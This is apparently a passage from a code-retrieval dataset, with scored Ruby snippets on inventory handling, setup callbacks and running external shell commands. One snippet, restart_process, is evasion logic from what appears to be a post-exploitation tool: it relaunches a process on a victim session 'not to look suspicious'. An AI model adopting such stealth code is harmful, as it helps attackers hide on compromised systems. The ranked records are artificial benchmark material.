+= price * quantity\n #quantity amount of times it'll add the title to the items array\n quantity.times {items << title}\n self.last_transaction = price * quantity\n end", "title": "" }, { "docid": "97a7b690c600adffcf63c1230b525195", "score": "0.5524909", "text": "def unequip!\n self.slot = EquipSlot::Inventory\n self.save!\n end", "title": "" }, { "docid": "663575d1feeb9e539546a94e1f0ccdad", "score": "0.5523063", "text": "def remove\n\t\t# se o usuário não entiver infectado e já existir o inventário salvo, remove a quantidade no inventário\n\t\tunless User.healthy? inventory_params[:user_id]\n \t \trender json: { error: \"Denied access. User is contaminated!\" }, status: 403 and return\n\t\tend\n\n\t\tif @inventory.remove(inventory_params[:amount].to_i)\n\t\t\trender json: @inventory, status: 200\n\t\telse\n\t\t\trender json: @inventory.errors, status: :unprocessable_entity\n\t\tend\n\tend", "title": "" }, { "docid": "6add7b936de841c9efd796341323572a", "score": "0.5517061", "text": "def item_apply(user, item)\n super\n if item.damage.element_id < 0\n user.atk_elements.each do |e|\n $game_party.add_bestiary_data(@enemy_id, :ele, e)\n end\n else\n $game_party.add_bestiary_data(@enemy_id, :ele, item.damage.element_id)\n end\n end", "title": "" }, { "docid": "0a538d6e52b3e72af592c8ec4327de6e", "score": "0.5511253", "text": "def pick_up(item)\n @items.push(item) unless items_weight + item.weight > CAPACITY\n @equipped_weapon = item if item.is_a?(Weapon) \n if item.is_a?(BoxOfBolts) \n item.feed(self) if self.health <= 80\n end\n end", "title": "" }, { "docid": "f250446d4f25e21d1ba69805bb40d19b", "score": "0.5495454", "text": "def add_or_remove_cash(pet_shop, amount)\n pet_shop[:admin][:total_cash] += amount\nend", "title": "" }, { "docid": "e27a04c207ebef6fcdda6cd166bfdc31", "score": "0.54934114", "text": "def continue\n\n inventory_with_leisure = expected_inventory.dup\n inventory_with_leisure[:leisure] = 1\n\n inventory_with_fishing = expected_inventory.dup\n # TODO: DRY up this logic with Person#catch_fish\n inventory_with_fishing[:fish] += @skills[:fish]\n\n #p '@'*88\n #p inventory_with_fishing\n #p rank_potential_inventory(inventory_with_fishing)\n #p '@'*88\n #p inventory_with_leisure\n #p rank_potential_inventory(inventory_with_leisure)\n #p '@'*88\n if rank_potential_inventory(inventory_with_fishing) < rank_potential_inventory(inventory_with_leisure)\n catch_fish\n @last_activity = :catch_fish\n else\n @last_activity = :leisure\n end\n\n\n eat # or starve\n end", "title": "" }, { "docid": "9395bae18fdf4a848d01f7466bbe25eb", "score": "0.5487103", "text": "def add_item(item, amount)\n # Check if the Entity already has that item\n # in the inventory. If so, just increase\n # the amount.\n @inventory.each do |couple|\n if (couple.first == item)\n couple.second += amount\n return\n end\n end\n # If not already in the inventory, push a Couple.\n @inventory.push(Couple.new(item, amount))\n end", "title": "" }, { "docid": "cfa43a63b1b47501d1049cf4eeccd062", "score": "0.548656", "text": "def make_prices_negative\n tickets.each{|ticket| ticket.price = -1}\n end", "title": "" }, { "docid": "b8adfddd8a58ace8441688ac4eccc251", "score": "0.5486204", "text": "def total_iron\n food.iron * quantity\n end", "title": "" }, { "docid": "acde4d0bfa43d4b9aa6fa80073c4088e", "score": "0.54854065", "text": "def updating_item(list,item,quantity)\r\n\r\n adding_item(list,item, quantity)\r\n\r\nend", "title": "" }, { "docid": "563eb0aaace01d57be81d014b25bafcb", "score": "0.54852575", "text": "def add_inventory(product_name, quantity)\n @products.each do |product|\n if product.name == product_name.upcase\n product.quantity += quantity\n end\n end\n end", "title": "" }, { "docid": "0f37c00e1de2615ae4ad20d26f7670dc", "score": "0.5479856", "text": "def set_avaible \t\n self.avaible = self.quantity\n end", "title": "" }, { "docid": "a19d06e446bb21d22f615db6b023876e", "score": "0.54794145", "text": "def add(quant)\n self.quantity_consumed -= quant\n save\n \"added #{quant} #{name}\"\n end", "title": "" }, { "docid": "611246f2adb077d24bec6fa1dff3764f", "score": "0.5477723", "text": "def add_item(item, price, quantity=1)\n # to call an instance method inside another instance method, use the self keyword to refer to the instance on which you are operating\n self.total += price * quantity # increment the total by the result of (price X quantity)\n # puts \"total: #{self.total}\"\n\n quantity.times do\n @items << item # add item to array 'quantity' # of times ***see note below\n end\n\n @last_transaction = price * quantity # keep track of the last transaction amount added\n # puts \"last transaction: #{@last_transaction}\"\n end", "title": "" }, { "docid": "edc603a62c1c4477e0e67982b5827d35", "score": "0.5467467", "text": "def inventoriable?\n inventory?\n end", "title": "" }, { "docid": "f7df323310b6bde8d9c72250d6d9d309", "score": "0.54643035", "text": "def melee_weapon; end", "title": "" }, { "docid": "40543ce47ed1d57b5a0b5f47a4d7ac02", "score": "0.54507864", "text": "def return\n @num_in += 1\n @num_out -= 1\n\n puts \"Inventory ERROR!!!\" if @num_in > @num_copies\n end", "title": "" }, { "docid": "0ba5abbe8e9a02be9ada629fcacde6f8", "score": "0.5450123", "text": "def add_item(title, price, quantity=1) \n self.total += price * quantity\n quantity.times do\n items << title \n end\n self.last_transaction = price * quantity\n\n end", "title": "" }, { "docid": "28b09a746c9cf073859468bc40a1113f", "score": "0.54469806", "text": "def inventory_for_longitudinal_presentation_unit_type_measurement\n inventories.map(& :quantity).inject(0) { |s,v| s += v } * packing_material.quantity\n end", "title": "" }, { "docid": "3f4ad2d29ab16e772fcdb4fa35b8e1cb", "score": "0.5445208", "text": "def inventory_worth\n get_worth_of( shared_inventory )\n end", "title": "" }, { "docid": "a8409619214d01b47ffa97501a69c2e5", "score": "0.54442835", "text": "def add_item(item, price, quantity = 1)\n @total += price * quantity\n @transactions << price * quantity\n i = quantity\n until i == 0 do\n @items << item\n i -= 1\n end\n end", "title": "" }, { "docid": "2236e753603b8e71fb1387dceeb60da1", "score": "0.54340756", "text": "def item_lmt_equip_mod\n return 0 if battler.nil? || !battler.is_a?(Game_Actor)\n battler.equips.inject(0) do |sum,e| \n mod = e.nil? ? 0 : (e.item_acts_mod ||= 0)\n sum += mod\n end\n end", "title": "" }, { "docid": "0c975f570c640be24375f172818745e3", "score": "0.5433873", "text": "def negative?; end", "title": "" }, { "docid": "a3cee1468b981ae29c5b98a673e16e58", "score": "0.5432008", "text": "def total_items\r\n\t\t@items.inject(0) { |sum, i| sum + i.quantity }\r\n\tend", "title": "" }, { "docid": "6a9787665e46a3d1f820c18a9810cd58", "score": "0.543163", "text": "def calculate_quantity(quantity)\r\n if (quantity.nil? or quantity == 0) then\r\n quantity = -1\r\n else\r\n quantity -= 1\r\n end\r\n end", "title": "" }, { "docid": "1ead2bf28d3f17f6410861a468784a8d", "score": "0.5428509", "text": "def add_units(qty)\n qty.to_i.times do\n #create item\n item = supply_items.new\n item.status = SupplyItem::STATUS_AVAILABLE\n item.save\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "2b683bbf491f0884b6f4f7ad99dbb1db", "score": "0.0", "text": "def set_socioeduk_tipo_telefone\n @socioeduk_tipo_telefone = Socioeduk::TipoTelefone.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
ae107cfde80328dc362a03de019a3581
Replace the process by running the given external command.
[ { "docid": "b6005b8295814a65ce62e73a80edb69f", "score": "0.0", "text": "def exec(bin, *args)\n Process.exec(bin, *args)\n rescue SystemCallError\n abort \"command not found: #{bin}\", 127\n end", "title": "" } ]
[ { "docid": "5530c8cff20613c5509f301a01da3362", "score": "0.7104504", "text": "def exec(cmd, replace_current_process=false)\n if replace_current_process\n Kernel.exec cmd\n else\n %x!#{cmd}!\n end\n end", "title": "" }, { "docid": "fd5d8408f4f8291dc882e4883e5944a5", "score": "0.6322242", "text": "def run_as_replacement(*args, &block)\n command_line = normalize_command_line(*args, &block)\n\n report \"Ceding execution to: \"\n report command_line.string_format\n Process.exec(command_line.command_environment, command_line.command)\n end", "title": "" }, { "docid": "57026b3a6e851cbb3d9d3dae72cf17ab", "score": "0.631322", "text": "def execute_command(cmd)\r\n old_cmd = command_line\r\n execute_command! cmd\r\n @command_win.set old_cmd\r\n end", "title": "" }, { "docid": "32a7ea246ae963703b5489916023a08a", "score": "0.6207109", "text": "def run_on_change(command)\n UI.info \"Running shell command: #{command}\", :reset => true\n \n start_at = Time.now\n \n @result = system(command[0])\n \n Notifier::notify(@result, command[0], Time.now - start_at) if notify?\n end", "title": "" }, { "docid": "a04e26cae73b24253d29733d3fe0578c", "score": "0.61788446", "text": "def run_command_on(cmd, instance=nil) \n Kernel.system \"#{run_command_on_command(cmd, instance)}\"\n end", "title": "" }, { "docid": "98b766ebfd547090cbe7d1bdf0fa0ad9", "score": "0.61524343", "text": "def issue_cmd(cmd)\n system cmd\nend", "title": "" }, { "docid": "40f2a2ed3ee89b504a1343354515e5a7", "score": "0.6091407", "text": "def original_run_command; end", "title": "" }, { "docid": "27809fadbea83eb678eb3c9cb937131c", "score": "0.60821915", "text": "def remote_command(cmd)\n runner.backend.backend.run_command(cmd)\n end", "title": "" }, { "docid": "deb619ec417b9d132be960c702656813", "score": "0.60321623", "text": "def launch_cmd(command, obj)\n logger.debug(\"CMD2: \" + command)\n\n pid = spawn(command)\n obj.update_attribute(:pid, pid)\n while 1 do\n alive?(pid)\n sleep 3\n end\n end", "title": "" }, { "docid": "8988e5f9c533e812ae2a744d0b0d484e", "score": "0.6019465", "text": "def system(cmd)\n locally do\n super(cmd)\n end\n end", "title": "" }, { "docid": "790b398cf8014ef3d7907d62f618959d", "score": "0.6014727", "text": "def silent_run_locally(cmd)\n `#{cmd}`\nend", "title": "" }, { "docid": "d6a4baec79c582c30247ff8d33a75c1b", "score": "0.5991473", "text": "def launch_cmd(command, obj)\n logger.debug(\"CMD2: \" + command)\n \n pid = spawn(command)\n obj.update_attribute(:pid, pid)\n while 1 do\n alive?(pid)\n sleep 3\n end\n end", "title": "" }, { "docid": "c82e2ed2814f268e1440496fc36d5ff3", "score": "0.59904414", "text": "def restart_process(path)\nprint_status(\"restarting #{path} not to look suspicious...\") \nsession.sys.process.execute(path, nil, {'Hidden' => false})\nprint_good(\"MOUHAHAHA job done :D\")\nend", "title": "" }, { "docid": "4acc2a036cc21f327747deea79d36de3", "score": "0.59712386", "text": "def relaunch\n @kill_command ? kill_custom : kill\n spawn\n end", "title": "" }, { "docid": "b1b160ab6c8624a9a08d92c1dd4b8759", "score": "0.5951033", "text": "def exec cmd\n puts cmd\n system cmd or die unless $fake\nend", "title": "" }, { "docid": "74e666bf53a829b4c21193eb2114a54a", "score": "0.5928516", "text": "def run_with_defer(cmd)\n puts cmd if runtime.options.verbose\n operation = proc {\n system(cmd)\n }\n callback = proc {|result|\n runtime.current_file = nil\n }\n EM.defer operation, callback\n end", "title": "" }, { "docid": "7e3e327d99ea55c3e2276a47b89004dc", "score": "0.5926435", "text": "def run(cmd)\n puts(cmd)\n system(cmd)\nend", "title": "" }, { "docid": "7e3e327d99ea55c3e2276a47b89004dc", "score": "0.5926435", "text": "def run(cmd)\n puts(cmd)\n system(cmd)\nend", "title": "" }, { "docid": "7e3e327d99ea55c3e2276a47b89004dc", "score": "0.5926435", "text": "def run(cmd)\n puts(cmd)\n system(cmd)\nend", "title": "" }, { "docid": "36267a4935ae88978a83059e02477f58", "score": "0.5919508", "text": "def cmd\n cmda = command.cmd\n begin\n 